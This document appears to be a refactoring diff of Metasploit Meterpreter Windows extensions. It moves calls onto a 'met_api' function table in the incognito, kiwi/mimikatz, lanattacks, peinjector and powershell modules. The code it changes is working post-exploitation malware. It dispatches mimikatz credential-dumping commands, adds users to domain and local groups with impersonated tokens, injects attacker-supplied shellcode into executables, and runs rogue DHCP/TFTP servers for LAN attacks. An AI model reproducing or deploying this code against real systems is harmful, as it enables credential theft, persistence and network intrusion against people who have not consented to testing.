#include <stdio.h>
#include <assert.h>
#include <stdlib.h>
@ -25,10 +26,10 @@ DWORD request_incognito_add_user(Remote *remote, Packet *packet)
TOKEN_PRIVS token_privs;
// Read arguments
Packet *response = packet_create_response(packet);
dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
password = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_PASSWORD);
Packet *response = met_api->packet.create_response(packet);
dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
password = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_PASSWORD);
mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
mbstowcs(username_u, username, strlen(username)+1);
@ -105,8 +106,8 @@ cleanup:
CloseHandle(token_list[i].token);
free(token_list);
packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
packet_transmit_response(ERROR_SUCCESS, remote, response);
met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
// Restore token impersonation
if (saved_token != INVALID_HANDLE_VALUE)
@ -126,10 +127,10 @@ DWORD request_incognito_add_group_user(Remote *remote, Packet *packet)
TOKEN_PRIVS token_privs;
// Read arguments
Packet *response = packet_create_response(packet);
dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
groupname = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME);
username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
Packet *response = met_api->packet.create_response(packet);
dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
groupname = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME);
username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
mbstowcs(username_u, username, strlen(username)+1);
@ -201,8 +202,8 @@ cleanup:
CloseHandle(token_list[i].token);
free(token_list);
packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
packet_transmit_response(ERROR_SUCCESS, remote, response);
met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
// Restore token impersonation
if (saved_token != INVALID_HANDLE_VALUE)
@ -223,10 +224,10 @@ DWORD request_incognito_add_localgroup_user(Remote *remote, Packet *packet)
TOKEN_PRIVS token_privs;
// Read arguments
Packet *response = packet_create_response(packet);
dc_netbios_name = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
groupname = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME);
username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
Packet *response = met_api->packet.create_response(packet);
dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
groupname = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME);
username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
mbstowcs(username_u, username, strlen(username)+1);
@ -295,8 +296,8 @@ cleanup:
CloseHandle(token_list[i].token);
free(token_list);
packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
packet_transmit_response(ERROR_SUCCESS, remote, response);
met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
// Restore token impersonation
if (saved_token != INVALID_HANDLE_VALUE)

View File

@ -3,15 +3,17 @@
* @brief Entry point for the kiwi extension.
*/
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
#include "common.h"
#include "common_metapi.h"
// Required so that use of the API works.
MetApi* met_api = NULL;
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
#include "main.h"
extern __declspec(dllexport) wchar_t * powershell_reflective_mimikatz(LPWSTR input);
@ -37,9 +39,9 @@ Command customCommands[] =
DWORD request_exec_cmd(Remote *remote, Packet *packet)
{
DWORD result = ERROR_SUCCESS;
Packet * response = packet_create_response(packet);
Packet * response = met_api->packet.create_response(packet);
wchar_t* cmd = packet_get_tlv_value_wstring(packet, TLV_TYPE_KIWI_CMD);
wchar_t* cmd = met_api->packet.get_tlv_value_wstring(packet, TLV_TYPE_KIWI_CMD);
if (cmd != NULL)
{
dprintf("[KIWI] Executing command: %S", cmd);
@ -49,7 +51,7 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet)
wchar_t* output = powershell_reflective_mimikatz(cmd);
if (output != NULL)
{
packet_add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output);
met_api->packet.add_tlv_wstring(response, TLV_TYPE_KIWI_CMD_RESULT, output);
}
else
{
@ -63,7 +65,7 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet)
}
dprintf("[KIWI] Dumped, transmitting response.");
packet_transmit_response(result, remote, response);
met_api->packet.transmit_response(result, remote, response);
dprintf("[KIWI] Done.");
return ERROR_SUCCESS;
@ -71,18 +73,19 @@ DWORD request_exec_cmd(Remote *remote, Packet *packet)
/*!
* @brief Initialize the server extension.
* @param api Pointer to the Meterpreter API structure.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
{
hMetSrv = remote->met_srv;
met_api = api;
dprintf("[KIWI] Init server extension - initorclean");
mimikatz_initOrClean(TRUE);
dprintf("[KIWI] Init server extension - register");
command_register_all(customCommands);
met_api->command.register_all(customCommands);
dprintf("[KIWI] Init server extension - done");
@ -97,7 +100,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
mimikatz_initOrClean(FALSE);
command_deregister_all(customCommands);
met_api->command.deregister_all(customCommands);
return ERROR_SUCCESS;
}

View File

@ -2,17 +2,16 @@
* This module implements LAN attacks, like pxesploit and DHCP attacks
*/
#define _CRT_SECURE_NO_DEPRECATE 1
#include "../../common/common.h"
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#include "common.h"
#include "common_metapi.h"
// Required so that use of the API works.
MetApi* met_api = NULL;
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include <windows.h>
#include "lanattacks.h"
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
void* dhcpserver = NULL; //global DHCP server pointer
void* tftpserver = NULL; //global TFTP server pointer
@ -20,11 +19,11 @@ void* tftpserver = NULL; //global TFTP server pointer
//Launches the DHCP server
DWORD request_lanattacks_start_dhcp(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
int res = startDHCPServer(dhcpserver);
packet_transmit_response(res, remote, response);
met_api->packet.transmit_response(res, remote, response);
return ERROR_SUCCESS;
}
@ -32,12 +31,12 @@ DWORD request_lanattacks_start_dhcp(Remote *remote, Packet *packet)
//Reset the DHCP server
DWORD request_lanattacks_reset_dhcp(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
destroyDHCPServer(dhcpserver);
dhcpserver = createDHCPServer();
packet_transmit_response(ERROR_SUCCESS, remote, response);
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
return ERROR_SUCCESS;
}
@ -48,35 +47,35 @@ DWORD request_lanattacks_set_dhcp_option(Remote *remote, Packet *packet)
DWORD retval = ERROR_SUCCESS;
char* name = NULL;
unsigned int namelen = 0;
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
do
{
//Get option value
Tlv tlv;
if ((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_OPTION, &tlv)) != ERROR_SUCCESS)
if ((retval = met_api->packet.get_tlv(packet, TLV_TYPE_LANATTACKS_OPTION, &tlv)) != ERROR_SUCCESS)
{
break;
}
//Get option name
name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME);
name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME);
namelen = (unsigned int)strlen(name);
setDHCPOption(dhcpserver, name, namelen, (char*)tlv.buffer, tlv.header.length);
} while (0);
packet_transmit_response(retval, remote, response);
met_api->packet.transmit_response(retval, remote, response);
return ERROR_SUCCESS;
}
//Turns off the DHCP server
DWORD request_lanattacks_stop_dhcp(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
int res = stopDHCPServer(dhcpserver);
packet_transmit_response(res, remote, response);
met_api->packet.transmit_response(res, remote, response);
return ERROR_SUCCESS;
}
@ -84,13 +83,13 @@ DWORD request_lanattacks_stop_dhcp(Remote *remote, Packet *packet)
//Gets and resets the DHCP log
DWORD request_lanattacks_dhcp_log(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
unsigned long loglen;
unsigned char * log = getDHCPLog(dhcpserver, &loglen);
packet_add_tlv_raw(response, TLV_TYPE_LANATTACKS_RAW, log, loglen);
packet_transmit_response(ERROR_SUCCESS, remote, response);
met_api->packet.add_tlv_raw(response, TLV_TYPE_LANATTACKS_RAW, log, loglen);
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
free(log);
return ERROR_SUCCESS;
@ -99,11 +98,11 @@ DWORD request_lanattacks_dhcp_log(Remote *remote, Packet *packet)
//Launches the TFTP server
DWORD request_lanattacks_start_tftp(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
int res = startTFTPServer(tftpserver);
packet_transmit_response(res, remote, response);
met_api->packet.transmit_response(res, remote, response);
return ERROR_SUCCESS;
}
@ -111,12 +110,12 @@ DWORD request_lanattacks_start_tftp(Remote *remote, Packet *packet)
//Reset the TFTP server
DWORD request_lanattacks_reset_tftp(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
destroyTFTPServer(tftpserver);
tftpserver = createTFTPServer();
packet_transmit_response(ERROR_SUCCESS, remote, response);
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
return ERROR_SUCCESS;
}
@ -127,34 +126,34 @@ DWORD request_lanattacks_add_tftp_file(Remote *remote, Packet *packet)
DWORD retval = ERROR_SUCCESS;
char* name = NULL;
unsigned int namelen = 0;
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
do{
Tlv tlv;
//Get file contents
if ((retval = packet_get_tlv(packet, TLV_TYPE_LANATTACKS_RAW, &tlv)) != ERROR_SUCCESS)
if ((retval = met_api->packet.get_tlv(packet, TLV_TYPE_LANATTACKS_RAW, &tlv)) != ERROR_SUCCESS)
{
break;
}
//Get file name
name = packet_get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME);
name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_LANATTACKS_OPTION_NAME);
namelen = (unsigned int)strlen(name);
addTFTPFile(tftpserver, name, namelen, (char*)tlv.buffer, tlv.header.length);
} while (0);
packet_transmit_response(retval, remote, response);
met_api->packet.transmit_response(retval, remote, response);
return ERROR_SUCCESS;
}
//Turns off the TFTP server
DWORD request_lanattacks_stop_tftp(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
int res = stopTFTPServer(tftpserver);
packet_transmit_response(res, remote, response);
met_api->packet.transmit_response(res, remote, response);
return ERROR_SUCCESS;
}
@ -175,14 +174,15 @@ Command customCommands[] =
/*!
* @brief Initialize the server extension.
* @param api Pointer to the Meterpreter API structure.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
{
hMetSrv = remote->met_srv;
met_api = api;
command_register_all(customCommands);
met_api->command.register_all(customCommands);
dhcpserver = createDHCPServer();
tftpserver = createTFTPServer();
@ -200,7 +200,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
DWORD __declspec(dllexport) DeinitServerExtension(Remote* remote)
{
destroyTFTPServer(tftpserver);
tftpserver = NULL;
@ -208,7 +208,7 @@ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
destroyDHCPServer(dhcpserver);
dhcpserver = NULL;
command_deregister_all(customCommands);
met_api->command.deregister_all(customCommands);
return ERROR_SUCCESS;
}

View File

@ -14,120 +14,118 @@ std::wstring s2ws(const std::string& str)
return wstrTo;
}
extern "C"
extern "C"
{
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#include "common_metapi.h"
// Required so that use of the API works.
MetApi* met_api = NULL;
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
mimikatz* myMimiKatz;
mimikatz * myMimiKatz;
// Singleton
void initialize_mimikatz()
{
vector<wstring> *args;
if (!myMimiKatz)
// Singleton
void initialize_mimikatz()
{
args = new vector<wstring>();
myMimiKatz = new mimikatz(args);
delete args;
}
}
void clear_buffer()
{
oss.str(L"");
oss.clear();
}
wchar_t* convert_wstring_to_wchar_t(wstring in)
{
const wchar_t* outputStr = in.c_str();
wchar_t* out = new wchar_t[in.size()+1];
wcscpy_s(out, in.size() + 1, outputStr);
out[in.size()] = '\0';
return out;
}
DWORD request_custom_command(Remote *remote, Packet *packet)
{
Packet * response = packet_create_response(packet);
Tlv argTlv = {0};
DWORD index = 0;
vector<wstring> args;
LPCSTR func = packet_get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION);
dprintf("Function: %s", packet_get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION));
wstring function = s2ws(func);
while( packet_enum_tlv( packet, index++, TLV_TYPE_MIMIKATZ_ARGUMENT, &argTlv ) == ERROR_SUCCESS )
{
dprintf("Arg: %s", (PCHAR)argTlv.buffer);
args.push_back(s2ws((PCHAR)argTlv.buffer));
vector<wstring>* args;
if (!myMimiKatz)
{
args = new vector<wstring>();
myMimiKatz = new mimikatz(args);
delete args;
}
}
clear_buffer();
void clear_buffer()
{
oss.str(L"");
oss.clear();
}
initialize_mimikatz();
myMimiKatz->doCommandeLocale(&function, &args);
wchar_t* convert_wstring_to_wchar_t(wstring in)
{
const wchar_t* outputStr = in.c_str();
wchar_t* out = new wchar_t[in.size() + 1];
wcscpy_s(out, in.size() + 1, outputStr);
out[in.size()] = '\0';
return out;
}
wchar_t* output = convert_wstring_to_wchar_t(oss.str());
clear_buffer();
DWORD request_custom_command(Remote* remote, Packet* packet)
{
Packet* response = met_api->packet.create_response(packet);
Tlv argTlv = { 0 };
DWORD index = 0;
vector<wstring> args;
packet_add_tlv_raw(response, TLV_TYPE_MIMIKATZ_RESULT, output, (DWORD)(wcslen(output)*sizeof(wchar_t)));
packet_transmit_response(ERROR_SUCCESS, remote, response);
return ERROR_SUCCESS;
}
Command customCommands[] =
{
COMMAND_REQ( "mimikatz_custom_command", request_custom_command ),
COMMAND_TERMINATOR
};
/*!
* @brief Initialize the server extension.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{
hMetSrv = remote->met_srv;
command_register_all( customCommands );
return ERROR_SUCCESS;
}
/*!
* @brief Deinitialize the server extension.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
command_deregister_all( customCommands );
return ERROR_SUCCESS;
}
/*!
* @brief Get the name of the extension.
* @param buffer Pointer to the buffer to write the name to.
* @param bufferSize Size of the \c buffer parameter.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
{
strncpy_s(buffer, bufferSize, "mimikatz", bufferSize - 1);
return ERROR_SUCCESS;
}
LPCSTR func = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION);
dprintf("Function: %s", met_api->packet.get_tlv_value_string(packet, TLV_TYPE_MIMIKATZ_FUNCTION));
wstring function = s2ws(func);
while (met_api->packet.enum_tlv(packet, index++, TLV_TYPE_MIMIKATZ_ARGUMENT, &argTlv) == ERROR_SUCCESS)
{
dprintf("Arg: %s", (PCHAR)argTlv.buffer);
args.push_back(s2ws((PCHAR)argTlv.buffer));
}
clear_buffer();
initialize_mimikatz();
myMimiKatz->doCommandeLocale(&function, &args);
wchar_t* output = convert_wstring_to_wchar_t(oss.str());
clear_buffer();
met_api->packet.add_tlv_raw(response, TLV_TYPE_MIMIKATZ_RESULT, output, (DWORD)(wcslen(output) * sizeof(wchar_t)));
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
return ERROR_SUCCESS;
}
Command customCommands[] =
{
COMMAND_REQ("mimikatz_custom_command", request_custom_command),
COMMAND_TERMINATOR
};
/*!
* @brief Initialize the server extension.
* @param api Pointer to the Meterpreter API structure.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
{
met_api = api;
met_api->command.register_all(customCommands);
return ERROR_SUCCESS;
}
/*!
* @brief Deinitialize the server extension.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote* remote)
{
met_api->command.deregister_all(customCommands);
return ERROR_SUCCESS;
}
/*!
* @brief Get the name of the extension.
* @param buffer Pointer to the buffer to write the name to.
* @param bufferSize Size of the \c buffer parameter.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
{
strncpy_s(buffer, bufferSize, "mimikatz", bufferSize - 1);
return ERROR_SUCCESS;
}
}

View File

@ -4,6 +4,7 @@
Licence : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "kmodel.h"
#include <comutil.h>
HMODULE g_hModule = NULL;
@ -56,9 +57,9 @@ DWORD WINAPI ThreadProc(LPVOID lpParameter)
fonction = fonction.substr(0, monIndex);
}
string procDll(fonction.begin(), fonction.end());
_bstr_t procDll(wstring(fonction.begin(), fonction.end()).c_str());
ptrFunction maFonction = reinterpret_cast<ptrFunction>(GetProcAddress(g_hModule, procDll.c_str()));
ptrFunction maFonction = reinterpret_cast<ptrFunction>(GetProcAddress(g_hModule, (const char*)procDll));
if(maFonction)
{

View File

@ -7,7 +7,8 @@
#include <string.h>
#include <stddef.h>
#include "libpefile.h"
#include "../../common/common.h"
#include "common.h"
#include "common_metapi.h"
/* Min/Max Macros */
#define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b))
@ -358,7 +359,7 @@ bool pefile_read_file(char *file, PEFILE_READ_OPTIONS *options, PEFILE *out) {
FILE *fh;
/* Open file */
wchar_t *file_w = utf8_to_wchar(file);
wchar_t *file_w = met_api->string.utf8_to_wchar(file);
if (_wfopen_s(&fh, file_w, L"rb") == 0) {
/* Get file size and allocate buffer */
@ -539,7 +540,7 @@ bool pefile_write_file(PEFILE *in, PEFILE_WRITE_OPTIONS *options, char* file) {
/* Open file */
FILE *fh;
wchar_t *file_w = utf8_to_wchar(file);
wchar_t *file_w = met_api->string.utf8_to_wchar(file);
if (_wfopen_s(&fh, file_w, L"wb") == 0) {
/* Generate PE File memory */

View File

@ -7,7 +7,8 @@
#include <stdlib.h>
#include "libpeinfect.h"
#include "libpeinfect_obfuscator.h"
#include "../../common/common.h"
#include "common.h"
#include "common_metapi.h"
/* Min/Max Macros */
#define MIN(_a, _b) ((_a) < (_b) ? (_a) : (_b))
@ -757,7 +758,7 @@ bool peinfect_infect_full_file(char *infile, PEINFECT *in, char *outfile) {
/* Open file */
FILE *fh;
wchar_t *file_w = utf8_to_wchar(infile);
wchar_t *file_w = met_api->string.utf8_to_wchar(infile);
if (_wfopen_s(&fh, file_w, L"rb") == 0) {
/* Get file size and allocate buffer */

View File

@ -2,17 +2,16 @@
* @file peinjector.c
* @brief Entry point and intialisation definitions for the Peinjector extension
*/
#include "../../common/common.h"
#include "common.h"
#include "common_metapi.h"
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
// Required so that use of the API works.
MetApi* met_api = NULL;
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include "peinjector_bridge.h"
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
Command customCommands[] =
{
COMMAND_REQ("peinjector_inject_shellcode", request_peinjector_inject_shellcode),
@ -20,25 +19,41 @@ Command customCommands[] =
};
/*!
* @brief Initialize the server extension
* @brief Initialize the server extension.
* @param api Pointer to the Meterpreter API structure.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote *remote)
{
hMetSrv = remote->met_srv;
dprintf("[PEINJECTOR] Initializing peinjector...");
met_api = api;
command_register_all(customCommands);
met_api->command.register_all( customCommands );
return ERROR_SUCCESS;
}
/*!
* @brief Deinitialize the server extension
* @brief Deinitialize the server extension.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
command_deregister_all(customCommands);
met_api->command.deregister_all( customCommands );
return ERROR_SUCCESS;
}
/*!
* @brief Get the name of the extension.
* @param buffer Pointer to the buffer to write the name to.
* @param bufferSize Size of the \c buffer parameter.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) GetExtensionName(char* buffer, int bufferSize)
{
strncpy_s(buffer, bufferSize, "peinjector", bufferSize - 1);
return ERROR_SUCCESS;
}

View File

@ -3,7 +3,8 @@
* @brief Wrapper functions for bridging native meterp calls to peinjector
*/
#include "../../common/common.h"
#include "common.h"
#include "common_metapi.h"
#include "peinjector.h"
#include "peinjector_bridge.h"
#include "libpeinfect.h"
@ -46,15 +47,15 @@ void __load_config(PEINFECT *infect, BYTE* shellcode, UINT shellcode_size, bool
DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
Packet* response = packet_create_response(packet);
Packet* response = met_api->packet.create_response(packet);
if (response)
{
BYTE* shellcode = packet_get_tlv_value_raw(packet, TLV_TYPE_PEINJECTOR_SHELLCODE);
UINT size = packet_get_tlv_value_uint(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE);
BOOL is_x64 = packet_get_tlv_value_bool(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64);
BYTE* shellcode = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_PEINJECTOR_SHELLCODE);
UINT size = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE);
BOOL is_x64 = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64);
char* target_executable_path = packet_get_tlv_value_string(packet, TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE);
char* target_executable_path = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE);
if (shellcode != NULL)
{
dprintf("[PEINJECTOR] recived path: %s", target_executable_path);
@ -77,15 +78,15 @@ DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet)
}
else {
dprintf("There was an error, shellcode not injected\n");
packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected");
met_api->packet.add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected");
}
}
else {
dprintf("The architecture of the file is incompatible with the selected payload\n");
packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload");
met_api->packet.add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload");
}
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
}
else
{

View File

@ -2,20 +2,17 @@
* @file powershell.c
* @brief Entry point and intialisation definitions for the Powershell extension
*/
#include "../../common/common.h"
#include "common.h"
#include "common_metapi.h"
// Required so that use of the API works.
MetApi* met_api = NULL;
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include "powershell_bridge.h"
#include "powershell_bindings.h"
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
static BOOL gSuccessfullyLoaded = FALSE;
/*! @brief List of commands that the powershell extension provides. */
@ -30,19 +27,21 @@ Command customCommands[] =
/*!
* @brief Initialize the server extension.
* @param api Pointer to the Meterpreter API structure.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
{
hMetSrv = remote->met_srv;
met_api = api;
gRemote = remote;
DWORD result = initialize_dotnet_host();
if (result == ERROR_SUCCESS)
{
command_register_all(customCommands);
met_api->command.register_all(customCommands);
}
return result;
@ -55,7 +54,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
command_deregister_all(customCommands);
met_api->command.deregister_all(customCommands);
deinitialize_dotnet_host();
return ERROR_SUCCESS;

View File

@ -3,7 +3,8 @@
* @brief Wrapper functions for bridging native meterp calls to powershell
*/
extern "C" {
#include "../../common/common.h"
#include "common.h"
#include "common_metapi.h"
#include "powershell_bindings.h"
}
@ -25,7 +26,7 @@ VOID MeterpreterInvoke(unsigned int isLocal, unsigned char* input, unsigned int
dprintf("[PSH BINDING] Packet payload length: %u", packet.payloadLength);
dprintf("[PSH BINDING] Packet local flag: %u", isLocal);
command_handle(gRemote, &packet);
met_api->command.handle(gRemote, &packet);
if (packet.partner != NULL)
{
@ -34,7 +35,7 @@ VOID MeterpreterInvoke(unsigned int isLocal, unsigned char* input, unsigned int
*output = (unsigned char*)LocalAlloc(LPTR, packet.partner->payloadLength);
*outputLength = packet.partner->payloadLength;
memcpy(*output, packet.partner->payload, packet.partner->payloadLength);
packet_destroy(packet.partner);
met_api->packet.destroy(packet.partner);
}
else
{

View File

@ -3,7 +3,8 @@
* @brief Wrapper functions for bridging native meterp calls to powershell
*/
extern "C" {
#include "../../common/common.h"
#include "common.h"
#include "common_metapi.h"
#include "powershell.h"
#include "powershell_bridge.h"
#include "powershell_bindings.h"
@ -90,7 +91,7 @@ DWORD load_assembly(BYTE* assemblyData, DWORD assemblySize)
}
dprintf("[PSH] Assembly appears to have been loaded successfully");
list_add(gLoadedAssemblies, loadedAssembly);
met_api->list.add(gLoadedAssemblies, loadedAssembly);
} while (0);
if (SUCCEEDED(hr))
@ -385,7 +386,7 @@ DWORD initialize_dotnet_host()
break;
}
gLoadedAssemblies = list_create();
gLoadedAssemblies = met_api->list.create();
dprintf("[PSH] Runtime has been initialized successfully");
} while(0);
@ -437,8 +438,8 @@ VOID deinitialize_dotnet_host()
SAFE_RELEASE(gClrPowershellType);
list_enumerate(gLoadedAssemblies, destroy_loaded_assembly, NULL);
list_destroy(gLoadedAssemblies);
met_api->list.enumerate(gLoadedAssemblies, destroy_loaded_assembly, NULL);
met_api->list.destroy(gLoadedAssemblies);
SAFE_RELEASE(gClrPowershellAssembly);
SAFE_RELEASE(gClrAppDomainInterface);
@ -455,12 +456,12 @@ DWORD powershell_channel_interact_notify(Remote *remote, LPVOID entryContext, LP
if (shell->output.length() > 1 && shell->wait_handle != NULL)
{
lock_acquire(shell->buffer_lock);
met_api->lock.acquire(shell->buffer_lock);
dprintf("[PSH SHELL] received notification to write");
DWORD result = channel_write(channel, remote, NULL, 0, (PUCHAR)(char*)shell->output, byteCount, NULL);
